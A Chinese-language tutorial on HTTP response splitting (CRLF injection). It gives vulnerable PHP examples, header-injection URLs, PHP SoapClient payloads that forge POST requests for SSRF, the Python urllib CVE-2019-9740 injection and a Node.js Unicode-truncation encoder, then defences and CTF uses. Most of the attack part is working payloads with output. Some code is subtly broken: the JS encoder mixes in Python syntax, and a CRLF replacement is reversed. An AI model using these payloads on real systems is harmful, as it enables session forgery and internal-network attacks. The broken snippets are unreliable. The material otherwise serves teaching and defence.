浅入深出谭谈 HTTP 响应拆分(CRLF Injection)攻击(上)
字数 1816 2025-08-05 08:19:01
HTTP响应拆分(CRLF Injection)攻击深度解析
1. CRLF与CRLF Injection漏洞概述
CRLF指的是回车符(CR, ASCII 13, \r, %0d)和换行符(LF, ASCII 10, \n, %0a)的简称(\r\n)。在HTTP协议中:
- HTTP报文以状态行开始,后跟HTTP首部
- 每个首部字段以CRLF结束
- 首部与主体之间由两个CRLF分隔
CRLF注入漏洞(又称HTTP响应拆分漏洞)的核心原理是:当Web应用未对用户输入严格验证时,攻击者可以注入恶意CRLF字符,从而:
- 注入恶意HTTP头(如会话Cookie)
- 直接构造新的HTTP请求
- 甚至注入HTML代码
2. 漏洞利用场景与技术细节
2.1 Location字段的302跳转
示例代码:
<?php
if (isset($_GET["url"])){
header("Location: " . $_GET["url"]);
exit;
}
?>
正常请求:
/?url=https://whoamianony.top
恶意注入:
/?url=https://whoamianony.top%0d%0aSet-Cookie:PHPSESSID=whoami
结果:
HTTP/1.1 302
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
原理:%0d%0a被解析为行结束符,Set-Cookie被视为新的首部字段。
2.2 PHP fsockopen()函数
示例代码:
<?php
$host = $_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
恶意注入:
/?url=47.101.57.72:4000%0d%0aSet-Cookie:PHPSESSID=whoami
结果:
GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close
2.3 PHP SoapClient类
基本用法:
$a = new SoapClient(null, array(
'location' => 'http://47.101.57.72:4000/aaa',
'uri' => 'http://47.101.57.72:4000'
));
2.3.1 User-Agent头部注入
示例代码:
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami",
'uri' => 'test'
));
结果:
POST / HTTP/1.1
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
2.3.2 发送POST数据包
关键技术点:
- 需要两个CRLF分隔头部和主体
- 需要覆盖默认的Content-Type
示例代码:
$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => 'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'
. join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_data)
. '^^^^' . $post_data,
'uri' => 'test'
));
$b = str_replace('^^', "\n\r", serialize($a));
2.4 Python urllib CRLF注入漏洞(CVE-2019-9740)
影响版本:
- Python 2.x至2.7.16中的urllib2
- Python 3.x至3.7.2中的urllib
2.4.1 在HTTP状态行注入恶意首部字段
示例代码:
import urllib.request
url = "http://47.101.57.72:4000?a=1 HTTP/1.1 \r\nCRLF-injection: True \r\nSet-Cookie: PHPSESSID=whoami"
urllib.request.urlopen(url)
结果:
GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
2.4.2 注入完整HTTP请求
关键技术点:
- 闭合原始HTTP状态行
- 构造新的完整请求
- 闭合原始请求避免干扰
示例构造:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求头和数据...]
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
2.5 NodeJS中的CRLF Injection
特殊之处:利用Unicode字符损坏实现CRLF注入
2.5.1 Unicode字符截断原理
高编号Unicode字符在latin1编码下会被截断为低字节:
- \u0130 → \u30
- \u010d → \r (%0d)
- \u010a → \n (%0a)
2.5.2 控制字符构造表
| 字符 | Unicode编码 | 对应字符 | URL编码 |
|---|---|---|---|
| \r | \u010d | č | %C4%8D |
| \n | \u010a | Ċ | %C4%8A |
| 空格 | \u0120 | Ġ | %C4%A0 |
| \ | \u0122 | Ģ | %C4%A2 |
| ' | \u0127 | ħ | %C4%A7 |
| ` | \u0160 | Š | %C5%A0 |
| ! | \u0121 | ġ | %C4%A1 |
2.5.3 注入示例
简单注入:
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI')
结果:
GET /čĊĊ/WHOAMI HTTP/1.1
实际传输:
GET /
/WHOAMI HTTP/1.1
2.5.4 构造完整请求
示例构造:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
[...完整请求...]
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
function payload_encode(raw) {
ret = u""
for(i in raw) {
ret += chr(0x0100 + ord(i))
}
return ret
}
3. 漏洞防御措施
- 输入验证:严格过滤用户输入中的CRLF字符(\r, \n, %0d, %0a)
- 编码输出:对输出到HTTP头部的数据进行编码
- 使用安全API:避免直接拼接HTTP头部
- 更新软件:修复已知漏洞版本(如Python 3.7.3+修复了CVE-2019-9740)
- 最小权限原则:限制网络请求的目标和范围
4. 实际应用与CTF示例
CRLF注入常与SSRF结合使用,可用于:
- 绕过内网访问控制
- 伪造管理员会话
- 实施缓存投毒攻击
- 构造恶意请求攻击内网服务
在CTF中常见于:
- 会话固定漏洞利用
- 内网服务探测
- 管理员权限获取
- 结合其他漏洞的综合利用